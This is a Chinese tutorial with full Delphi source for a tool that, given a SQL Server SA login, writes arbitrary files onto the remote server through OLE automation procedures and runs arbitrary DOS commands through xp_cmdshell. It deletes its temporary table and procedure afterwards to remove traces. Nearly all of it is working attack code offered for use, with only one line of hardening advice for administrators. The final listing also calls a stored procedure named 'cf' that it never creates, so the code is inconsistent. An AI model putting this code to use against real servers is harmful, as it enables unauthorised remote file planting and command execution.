| 关键词: query SQL Add procedure 过程 filename Button 文件 存储 Create |
我记得有一种黑客工具,在得到对方SQL SERVER服务器的SA帐号和密码后竟可以通过它上传文件到对方服务器上面,并远程执行DOS命令。当时觉得很好奇,当然作为程序员的我觉得很不爽,赶快对SQL SERVER进行了一番研究,并整理出了这篇文章,希望对一些程序新手会有帮助。写过数据库程序的朋友应该知道,我们可以往数据库中存取各种类型的资料数据比如文本,整型,二进制等数据。在这里通过SQL SERVER服务器远程上传文件的思路就是,1、先通过SQL语句,在对方服务器上创建一临时表,下面是创建临时表的过程:procedure Create_temptable;begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');query1.SQL.Add('drop table [dbo].[temptable]');query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');query1.SQL.Add('[ny] [image] NULL');query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');query1.ExecSQL;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;在创建表时,我创建了两个字段,filename字段存储文件的文件名,ny字段存储文件的二进制数据。2、往临时表内插入文件procedure insert_file(filename:string);varopenfile:tfilestream;begintryopenfile:=tfilestream.Create(filename,FmOpenRead); //创建文件流query1.Close;query1.SQL.Clear;query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);query1.ExecSQL;finallyfreeandnil(openfile);end;end;3、插入文件之后,就应该让服务器,自动去读取临时表内的内容,并把表内的二进制数据转储为文件,这样就达到了将文件上传到服务器的目的。我们知道,存储过程一般在服务器上运行,所以这个任务就交给存储过程啦,当然这个存储过程我们要自行创建才行,它的作用就是从临时表内读出数据并保存为文件下面的过程就是通过SQL语句在服务器上面创建存储过程。procedure Create_proc; //创建保存文件存储过程。begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('CREATE PROCEDURE SCOFIELD'); //存储过程名query1.SQL.Add('as');query1.SQL.Add('begin');query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');query1.SQL.Add('declare @filename varchar(200)');query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');query1.SQL.Add('set @sql=''select * from temptable''');query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出上传的文件名query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流query1.SQL.Add('set @i=0');query1.SQL.Add('while @Len > @i');// --循环写入数据query1.SQL.Add('begin');query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流query1.SQL.Add('set @i=@i+8000');query1.SQL.Add('end');query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径,不设置将存储在SYSTEM32下面query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--保存为文件query1.SQL.Add('exec sp_OADestroy @myRecordset');query1.SQL.Add('exec sp_OADestroy @Stream');query1.SQL.Add('select output=''命令成功''');query1.SQL.Add('end');query1.ExecSQL;exceptend;end;4、保存文件的存储过程我们也建好了,也到了执行它的时候了....下面这个过程是用来执行存储过程的procedure Create_file; //执行存储过程创建文件begintryquery1.Close;query1.SQL.Clear;query1.sql.Add('exec SCOFIELD'); //执行存储过程query1.ExecSQL;exceptend;end;执行完存储过程后,我们的文件就己经上传OK啦,不过不擦屁股可不是好习惯,我们还应该删除刚才创建的临时表和存储过程。删除临时表的过程:procedure Del_temptable; //删除临时表begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');query1.SQL.Add('drop table [dbo].[temptable]');query1.ExecSQL;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;删除存储过程的过程:procedure del_proc; begintryquery1.Close;query1.SQL.Clear;query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');query1.sql.Add('drop procedure [dbo].[SCOFIELD]'); query1.ExecSQL;exceptend;end;大功告成,现在你发现只要按照上面过程的执行顺序执行,就可以顺利的通过SQL SERVER上传文件到服务器了。上面的QUERY1对象是DELPHI中的ADOQUERY控件,如果你还不会使用,请先去翻翻书。下面再来研究一下如何通过SQL SERVER 远程地执行DOS命令,其实很简单,在SQLSERVER中,有一xp_cmdshell的存储过程,通过该存储过程,我们可以在通过SQL SERVER在服务器上执行任何的DOS命令,通过SQL语句的执行,我们可以很方便地在对方服务器上面执行DOS命令,像这样:query1.Close;query1.SQL.Clear;query1.SQL.Add('exec master..xp_cmdshell '''+ 这里存放的就是要执行的DOS命令了 +'''';);query1.open;一条SQL语句搞定。如果你是一名网络管理员,为了服务器的安全请检查你的SQL SERVER是否还存在此存储过程。如果有删除它就行了,不会有什么影响,或是卸载xpsql70.dll这个动态链接库就OK了。为此,我将自己平常用的的一个SQL查询器也加上了此功能,并贴上源代码,希望能够一些程序新手带来帮助。下面是查询器的源代码:unit Unit1;//------------------------------------------------------------------------------// Author : SCOFIELD QQ:19154194// UpDate : 2009-05-20// Name : SCOFIELD SQL 查询器// Version : 1.0.0.0//------------------------------------------------------------------------------interfaceusesWindows, Messages, SysUtils, Forms,StdCtrls, DB, ADODB, DBGridEh,xpman,DBGRids,DBGridEhImpExp, Classes, Dialogs, ExtCtrls, Grids, Controls;typeTForm1 = class(TForm)Label1: TLabel;Button1: TButton;memo1: TMemo;con1: TADOConnection;Query1: TADOQuery;GroupBox1: TGroupBox;GroupBox2: TGroupBox;GroupBox3: TGroupBox;DBGridEh1: TDBGridEh;Panel1: TPanel;Button2: TButton;Button3: TButton;Button4: TButton;DataSource1: TDataSource;Button5: TButton;Button6: TButton;Open1: TOpenDialog;Edit1: TEdit;Label2: TLabel;Label3: TLabel;ComboBox1: TComboBox;ComboBox2: TComboBox;Query2: TADOQuery;Button7: TButton;SaveDialog1: TSaveDialog;procedure Button1Click(Sender: TObject);procedure Button2Click(Sender: TObject);procedure Button5Click(Sender: TObject);procedure Button3Click(Sender: TObject);procedure Button4Click(Sender: TObject);procedure Button6Click(Sender: TObject);procedure Create_temptable; //创建临时表procedure Del_temptable;procedure insert_file(filename:string); //插入文件procedure Create_file; //创建文件procedure Create_proc;procedure del_proc;procedure Button7Click(Sender: TObject);procedure ComboBox1Change(Sender: TObject);procedure FormCreate(Sender: TObject); //删除存储过程。private{ Private declarations }public{ Public declarations }end;varForm1: TForm1;ip,name,pwd,sql,table:string;implementation{$R *.dfm}procedure TForm1.Button1Click(Sender: TObject);beginif (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;//查询时显示列头标题DBGridEh1.Options:=DBGridEh1.Options+[dgTitles] ;tryquery1.Close;query1.SQL.Clear;if trim(memo1.Lines.Text)='' then beginif (combobox1.Text<>'表名') and (combobox1.text<>'') then beginif (combobox2.text<>'字段名') and (combobox2.Text<>'') thensql:='select '+combobox2.Text+' from '+combobox1.Textelsesql:='select * from '+combobox1.Text;end;endelsebeginsql:=memo1.Lines.Text;end;query1.SQL.Add(sql);query1.OPEN;if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;procedure TForm1.Button2Click(Sender: TObject);beginif (combobox1.Text='表名') and (trim(memo1.Lines.Text)='') then exit;trysql:=memo1.Lines.Text;query1.Close;query1.SQL.Clear;query1.SQL.Add(sql);query1.ExecSQL;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;application.MessageBox ('执行成功','执行成功',mb_ok);end;procedure TForm1.Button5Click(Sender: TObject);varconstr:string;i:integer;TableList:TStringList;beginTableList:=Tstringlist.Create;constr:=PromptDataSource(Handle,'');if constr='' then beginbutton1.Enabled:=false;button2.Enabled:=false;button3.Enabled:=false;button6.Enabled:=false;exit;endelsebeginif pos('SQLOLEDB',constr)<>0 then begin //如果为SQLSEVER,则显示上传按钮button3.Enabled:=true;button6.Enabled:=true;endelsebeginbutton3.Enabled:=false;button6.Enabled:=false;end;button1.Enabled:=true;button2.Enabled:=true; end;edit1.Text:=constr;trycon1.Close;query1.Close;con1.ConnectionString:=constr;con1.Open;query1.Connection:=con1;application.MessageBox ('连接成功','连接成功',mb_ok);excepton e:exception doraise exception.Create(pchar('无法连接!下面是错误信息:'+#13+e.Message+#13 ))end;//下面开始检测表名con1.GetTableNames(TableList,false);combobox1.Items.Clear;combobox1.Items.AddStrings(Tablelist);combobox1.Text:='表名';combobox2.Items.Clear;combobox2.Text:='字段名';end;procedure TForm1.Button3Click(Sender: TObject);beginDBGridEh1.Options:=DBGridEh1.Options-[dgTitles] ;trysql:='exec master..xp_cmdshell '''+memo1.Lines.Text+'''';query1.Close;query1.SQL.Clear;query1.SQL.Add(sql);query1.open;if query1.RecordCount>0 then button7.Enabled:=true else button7.Enabled:=false;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;procedure TForm1.Button4Click(Sender: TObject);beginmemo1.Text:='';end;//上传文件到服务器procedure TForm1.Button6Click(Sender: TObject);beginif not open1.Execute then exit;//下面创建临时表self.Create_temptable;self.Create_proc; //创建存储过程self.insert_file(open1.FileName); //插入文件self.Create_file; //执行存储过程,下载文件self.Del_temptable; //删除临时表self.del_proc; //删除存储过程。end;procedure Tform1.Create_temptable; //创建临时表begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');query1.SQL.Add('drop table [dbo].[temptable]');query1.SQL.Add('CREATE TABLE [dbo].[temptable] (');query1.SQL.Add('[filename] [varchar] (100) COLLATE Chinese_PRC_CI_AS NULL ,');query1.SQL.Add('[ny] [image] NULL');query1.SQL.Add(') ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]');query1.ExecSQL;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;procedure Tform1.Del_temptable; //删除临时表begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[temptable]'') and OBJECTPROPERTY(id, N''IsUserTable'') = 1)');query1.SQL.Add('drop table [dbo].[temptable]');query1.ExecSQL;excepton e:exception doraise exception.Create(pchar('执行失败!下面是错误信息:'+#13+e.Message+#13 ));end;end;procedure tform1.insert_file(filename:string); //插入文件varopenfile:tfilestream;begintryopenfile:=tfilestream.Create(filename,FmOpenRead); //以只读方式打开;query1.Close;query1.SQL.Clear;query1.sql.Add('insert into temptable (filename,ny) values(:x,:y)');query1.Parameters.ParamByName('x').Value:=ExtractFileName(filename);query1.Parameters.ParamByName('y').LoadFromStream(openfile,ftBlob);query1.ExecSQL;finallyfreeandnil(openfile);end;end;procedure Tform1.Create_proc; //创建存储过程。begintryquery1.Close;query1.SQL.Clear;query1.SQL.Add('CREATE PROCEDURE SCOFIELD');query1.SQL.Add('as');query1.SQL.Add('begin');query1.SQL.Add('DECLARE @myRecordset int,@Stream int,@Len int,@i int'); //--定义记录集,文件长度query1.SQL.Add('DECLARE @value binary(8000)'); //--存放数据query1.SQL.Add('DECLARE @constr varchar(200),@sql varchar(200)');query1.SQL.Add('declare @filename varchar(200)');query1.SQL.Add('set @constr=''Provider=SQLOLEDB.1;Data Source=(local);Initial Catalog=master;Integrated Security=SSPI;''');query1.SQL.Add('set @sql=''select * from temptable''');query1.SQL.Add('EXEC sp_OACreate ''ADODB.Recordset'',@myRecordset OUT');query1.SQL.Add('EXEC sp_OAMethod @myRecordset,''open'',null,@sql,@constr');query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(0).value'',@filename out'); //取出文件名query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).ActualSize'',@len out');query1.SQL.Add('EXEC sp_OACreate ''ADODB.Stream'', @Stream OUT');// --建立数据流query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''mode'',3'); //--读/写状态query1.SQL.Add('EXEC sp_OASetProperty @Stream, ''type'',1');// --1是流 2是文本query1.SQL.Add('EXEC sp_OAMethod @Stream,''open'''); // --打开流query1.SQL.Add('set @i=0');query1.SQL.Add('while @Len > @i');// --循环写入数据query1.SQL.Add('begin');query1.SQL.Add('EXEC sp_OAGetProperty @myRecordset, ''Fields.item(1).GetChunk'', @Value OUT,8000');query1.SQL.Add('EXEC sp_OAMethod @Stream,''write'',null,@Value'); // --写入流query1.SQL.Add('set @i=@i+8000');query1.SQL.Add('end');query1.SQL.Add('EXEC sp_OASetProperty @Stream,''Position'',@Len');// --移动数据到结尾处query1.SQL.Add('EXEC sp_OAMethod @Stream,''SetEos'''); // --截断数据// query1.SQL.Add('set @filename=''c:\ '' + @filename'); // --保存路径query1.SQL.Add('EXEC sp_OAMethod @Stream,''SaveToFile'',null,@filename,2'); //--另存为文件query1.SQL.Add('exec sp_OADestroy @myRecordset');query1.SQL.Add('exec sp_OADestroy @Stream');query1.SQL.Add('select output=''命令成功''');query1.SQL.Add('end');query1.ExecSQL;exceptend;end;procedure TForm1.Create_file; //创建文件 ,执行存储过程。begintryquery1.Close;query1.SQL.Clear;query1.sql.Add('exec cf');query1.ExecSQL;exceptend;end;procedure Tform1.del_proc; //删除存储过程。begintryquery1.Close;query1.SQL.Clear;query1.sql.Add('if exists (select * from dbo.sysobjects where id = object_id(N''[dbo].[SCOFIELD]'') and OBJECTPROPERTY(id, N''IsProcedure'') = 1)');query1.sql.Add('drop procedure [dbo].[SCOFIELD]');query1.ExecSQL;exceptend;end;//将查询出来的数据保存为EXCEL表格procedure TForm1.Button7Click(Sender: TObject);varExcelName:string;beginif DBGridEh1.RowCount<=1 then exit;SaveDialog1.Filter:='Excel 文件 (*.XLS)|*.XLS';if (combobox1.Text<>'表名') and (combobox1.Text<>'') thenSaveDialog1.FileName := combobox1.Text else SaveDialog1.FileName:='book1';if SaveDialog1.Execute then beginExcelName:=SaveDialog1.FileName+'.XLS';IF length(excelname)>0 THEN beginSaveDBGridEhToExportFile(TDBGridEhExportAsXLS, DBGridEh1,ExcelName, True);application.MessageBox ('保存成功!','保存EXCEL文件成功',mb_ok+MB_ICONASTERISK);end;end;end;procedure TForm1.ComboBox1Change(Sender: TObject);var tablename:string;flist:Tstringlist;beginif combobox1.Text='' then exit;tablename:=combobox1.Text;if tablename='表名' then exit;query2.Connection:=con1;query2.Close;query2.SQL.Clear;query2.SQL.Add('select top 1 * from '+tablename);query2.Open;flist:=Tstringlist.Create;//下面检测字段名query2.GetFieldNames(flist);combobox2.Items.Clear;combobox2.Items.AddStrings(flist);end;procedure TForm1.FormCreate(Sender: TObject);beginbutton1.Enabled:=false;button2.Enabled:=false;button3.Enabled:=false;button6.Enabled:=false;button7.Enabled:=false;end;end.程序中使用了DBGridEh控件,请自行下载,程序写的时候没有考虑得很全面,欢迎大家对它改进,并发一份副本给我。此查询器可以查看各种数据格式的数据库文件,并支持SQL语句的执行,自动检测出数据库内包含的各表名,字段名,并可将查询出来的结果保存为EXCEL表格。希望能给朋友们带来工作上的帮助。其中COMMAND是用来执行DOS命令的,Upload File是用来上传文件到对方SQL SERVER服务器的 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|